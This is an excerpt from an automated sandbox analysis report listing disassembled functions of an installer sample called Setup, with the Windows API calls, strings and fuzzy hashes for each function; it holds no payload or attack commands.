lstrlenW.KERNEL32(00447D88,00423176,74DF23A0,00000000), ref: 00404AAB
lstrlenW.KERNEL32(0040304D,00447D88,00423176,74DF23A0,00000000), ref: 00404ABB
lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E

Part of subcall function 004060CA: GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00423176,74DF23A0,00000000), ref: 0040619B

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 141fa25f867edaa8b9051ab2f09e4248f19e9da238f05a8cd45e618e6a3e53c0
Instruction ID: 484fc1ca55a69b1daf8ef76b765ed66def062ae06368be70f68da4f473989c37
Opcode Fuzzy Hash: 141fa25f867edaa8b9051ab2f09e4248f19e9da238f05a8cd45e618e6a3e53c0
Instruction Fuzzy Hash: A221B3B1900518BADF119F65DC84E9EBFB9FF84314F10413AFA04B22A0C7788A80DF58

Function 0040434F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0040436A
GetMessagePos.USER32 ref: 00404372
ScreenToClient.USER32(?,?), ref: 0040438A
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040439C
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004043C2

Strings

f, xrefs: 0040439E

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0fd0a508c23a1f4cc7d109850199a12f342c67c69df64cb0c481c89d05409d64
Instruction ID: 785f0416c38af9d8ad27fcbae1db7caa358ffe27c450e4d5cf04d3572e5fe4cd
Opcode Fuzzy Hash: 0fd0a508c23a1f4cc7d109850199a12f342c67c69df64cb0c481c89d05409d64
Instruction Fuzzy Hash: B0017171A4021DBAEB00DBA4DD85FEEBBBCAF55714F10012BFB50B61D0C7B49A418B65

Function 00402DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DD2
MulDiv.KERNEL32(00019400,00000064,03802CD0), ref: 00402DFD
wsprintfW.USER32 ref: 00402E0D
SetWindowTextW.USER32(?,?), ref: 00402E1D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E2F

Strings

verifying installer: %d%%, xrefs: 00402E07

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: a052d906e27c43246bcc9f1aeeeeed0a4803bb8fb5ea3e7766d01d4d8a37771c
Instruction ID: aa47155a64d8ebbb4a0163e37034f34a23c06eccf97bc0b219fefb1598c68ac6
Opcode Fuzzy Hash: a052d906e27c43246bcc9f1aeeeeed0a4803bb8fb5ea3e7766d01d4d8a37771c
Instruction Fuzzy Hash: 25014470640108BBDF109F64DD49FAE3BA9AB04304F004139FA06A51E0DBB989558F58

Function 00405AE7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
CharNextW.USER32(?,?,?,00000000), ref: 00405B59
CharNextW.USER32(?,004E00C8,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
CharPrevW.USER32(?,?,004CC0A0,004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72

Strings

*?|<>/":, xrefs: 00405B39

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: b7b5818da4b4a2654bbca5167226ce5d18b2b6f4b0368041995d2741e331b462
Instruction ID: 31febb90154ecf465c6c3fd58460301c566faf6ecd06643fefb4dc305e878468
Opcode Fuzzy Hash: b7b5818da4b4a2654bbca5167226ce5d18b2b6f4b0368041995d2741e331b462
Instruction Fuzzy Hash: B9118E15810A1599CB30BB298840E7BB7F8EE95750750853FED85B32C1E778BC81CABD

Function 00401497 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014B9
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014F5
RegCloseKey.ADVAPI32(?), ref: 004014FE
RegCloseKey.ADVAPI32(?), ref: 00401523
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401541

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9a7fa1e295040e987171b31cb3058b13b4927fc82cebbafdfd6fdbcfdef2d769
Instruction ID: 18dccf383a29a435c3c5d53fdb083507bb3959694e3d248e427a957da49423c4
Opcode Fuzzy Hash: 9a7fa1e295040e987171b31cb3058b13b4927fc82cebbafdfd6fdbcfdef2d769
Instruction Fuzzy Hash: B8113776500108FBDF119FA0DE85AAE3B7DEB45348F00443AF90AB51B0D7359E94AE69

Function 004020AF Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?), ref: 004020BF
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?), ref: 004020E0
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 004020F8
VerQueryValueW.VERSION(?,004082C8,?,?,?,00000000,00000000,00000000), ref: 00402111

Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C

GlobalFree.KERNEL32(0059FFB0), ref: 00402139

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 1fcda80dc11e1363c08de8126c867463e0ce0b74cafb0b4a8e36d66cc7975c69
Instruction ID: ca10dc8ef845363045b229a4896d1fbdc02f34fd782a724fb491659cb49530f2
Opcode Fuzzy Hash: 1fcda80dc11e1363c08de8126c867463e0ce0b74cafb0b4a8e36d66cc7975c69
Instruction Fuzzy Hash: 11116A72900204ABDB11ABA5DE08A9E77B9AF04354F108136F605FA1E0EB78D940CB58

Function 00401D76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,00000000,00000002,?), ref: 00401DDF
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401DF7

Strings

!, xrefs: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 0a2216d3efa57a78be66af89e8cb1db1661eab1c73c2f6238fd6ec7ea61d154f
Instruction ID: 2bd8fc9b8c4150d32bad90dfffc0448b15bb1a7470975d4e46508bb72c72871e
Opcode Fuzzy Hash: 0a2216d3efa57a78be66af89e8cb1db1661eab1c73c2f6238fd6ec7ea61d154f
Instruction Fuzzy Hash: 77216071940218AADB15AFB4C946BFD7BB5EF05309F10857EFA02B50E1D77C8A809758

Function 00403F13 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0044FD98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,0044FD98,?), ref: 00403FB0
wsprintfW.USER32 ref: 00403FBD
SetDlgItemTextW.USER32(?,0044FD98,000000DF), ref: 00403FD0

Strings

%u.%u%s%s, xrefs: 00403FAA

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7463db91dfc42c9920fcb0c5be4cc11050eaef945611b5cb4dc0a4985e01960d
Instruction ID: 5fad3c86b264af19ee74e6bf29dedfa0a61a2e47495169cbabc6e73bcd4b5a17
Opcode Fuzzy Hash: 7463db91dfc42c9920fcb0c5be4cc11050eaef945611b5cb4dc0a4985e01960d
Instruction Fuzzy Hash: 12117D32B002087BCB10DB699D41E9E766EEBD5338F10423BF519F31E0EA388A15875C

Function 004024F8 Relevance: 6.1, APIs: 4, Instructions: 78registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00402546
lstrlenW.KERNEL32(004120F8), ref: 00402567
RegSetValueExW.ADVAPI32(?,?,00000000,?,004120F8,00000000), ref: 004025A6
RegCloseKey.ADVAPI32(?), ref: 004025B6

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: eb21bdfbd278206649cafd0a134e8c3462c0890b110457211e04b26388198419
Instruction ID: e0ce6b6c9d891c2747ed896ffb728d3f7ff2228f80022de3c727e62f6400905b
Opcode Fuzzy Hash: eb21bdfbd278206649cafd0a134e8c3462c0890b110457211e04b26388198419
Instruction Fuzzy Hash: 6F21B071A00204BBEB10AF65DE89FAF7779EB44714F10813BF504B61E1D7B89A809B6C

Function 00401FFE Relevance: 6.1, APIs: 4, Instructions: 53synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404A73: lstrlenW.KERNEL32(00447D88,00423176,74DF23A0,00000000), ref: 00404AAB
Part of subcall function 00404A73: lstrlenW.KERNEL32(0040304D,00447D88,00423176,74DF23A0,00000000), ref: 00404ABB
Part of subcall function 00404A73: lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
Part of subcall function 00404A73: SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
Part of subcall function 00404A73: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
Part of subcall function 00404A73: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
Part of subcall function 00404A73: SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E

Part of subcall function 004056EC: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0045FDD0,Error launching installer), ref: 00405711
Part of subcall function 004056EC: CloseHandle.KERNEL32(?), ref: 0040571E

WaitForSingleObject.KERNEL32(00000000,00000064,?,?,?,?,?,00000000,000000EB,00000000), ref: 0040202F
WaitForSingleObject.KERNEL32(?,00000064,0000000F,?,?,?,?,?,00000000,000000EB,00000000), ref: 00402044
GetExitCodeProcess.KERNEL32(?,?), ref: 00402051
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,000000EB,00000000), ref: 004026BD

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: ad270f84a8785551dbcb8ed3b2656b967ed5d4589d67cc04499c355dac912d43
Instruction ID: 202ebcddbf8b426187c6ee2470dbf35ac1bf8be3455b7115f7585c4331235d23
Opcode Fuzzy Hash: ad270f84a8785551dbcb8ed3b2656b967ed5d4589d67cc04499c355dac912d43
Instruction Fuzzy Hash: 3E118231900214EADB219FA1CE08B9E7A75EB04358F104037E615B60E1C7BD8A82DB5D

Function 004026EF Relevance: 6.0, APIs: 4, Instructions: 46memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 004026F7
WideCharToMultiByte.KERNEL32(00000000,00000000,0040E0F0,000000FF,?,00002004,00000000,00000000), ref: 00402730
lstrlenA.KERNEL32(?), ref: 00402739
WriteFile.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00402756

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 4e4b35b0ddbdd6058c26d859be66250fdf62ee6eb5fca338a8859292909502b4
Instruction ID: ced7ad9a6504f6ed498d5adba380047bc9decdec085bb0b424ae9f8a02fb9dcb
Opcode Fuzzy Hash: 4e4b35b0ddbdd6058c26d859be66250fdf62ee6eb5fca338a8859292909502b4
Instruction Fuzzy Hash: F9014F70500205BEEB156F60CE4DBBF3A6CEF04744F10453AF641FA1E1DBB849419B69

Function 00401EF0 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401EF7
GetDeviceCaps.GDI32(00000000), ref: 00401EFE
MulDiv.KERNEL32(00000000,00000000), ref: 00401F0E

Part of subcall function 004060CA: GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00423176,74DF23A0,00000000), ref: 0040619B

CreateFontIndirectW.GDI32(0041E110), ref: 00401F61

Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: a47370298229fbd9087b309e9c05a94d29a3d59c05c16ea411501fa641fe8ea9
Instruction ID: d6c42e3eeef43274fd936db1fda35bedcc132f3233f9f4bb317f1c521d1b95b8
Opcode Fuzzy Hash: a47370298229fbd9087b309e9c05a94d29a3d59c05c16ea411501fa641fe8ea9
Instruction Fuzzy Hash: BB018476644241AFE701ABB5AD4ABDE3BA4A715315F20883AE681B61E3CA784044CB2D

Function 00402E3A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403297,00000001,?,?,?,00000000,004035D7,?), ref: 00402E4D
GetTickCount.KERNEL32 ref: 00402E6B
CreateDialogParamW.USER32(0000006F,00000000,00402DB4,00000000), ref: 00402E88
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,004035D7,?), ref: 00402E96

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: c46447e93630878450969176786434de847f14ddf39dd8d972ff8c80f950fc89
Instruction ID: c637284af2d6cdf60ec22d353f69018081d624b8e4296ea034bdf55e3067f771
Opcode Fuzzy Hash: c46447e93630878450969176786434de847f14ddf39dd8d972ff8c80f950fc89
Instruction Fuzzy Hash: 89F05E30541A21EBC6616B20FE0CAAB7B64FB04B51B4008BFF945B11E4CB7448938BDD

Function 00405C29 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,00000000,00000000,0040219A,00000000,?), ref: 00405C34
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000), ref: 00405C4A
GetProcAddress.KERNEL32(?,00000000), ref: 00405C59
GlobalFree.KERNEL32(00000000), ref: 00405C62

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 7b8b1b869dc425c4e8d1decedcc15e3ea1801fb9e202fffad77dd5e1c54a2680
Instruction ID: e1c5d748dd31bcb7ed763deea17071bf78cda9c2e5a8ae371288e20c28570659
Opcode Fuzzy Hash: 7b8b1b869dc425c4e8d1decedcc15e3ea1801fb9e202fffad77dd5e1c54a2680
Instruction Fuzzy Hash: 00E092312001107BE2201B269E8CD6B7EACDFCA7B6B04013AF685E11A0CA308C11C678

Function 004043CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404403
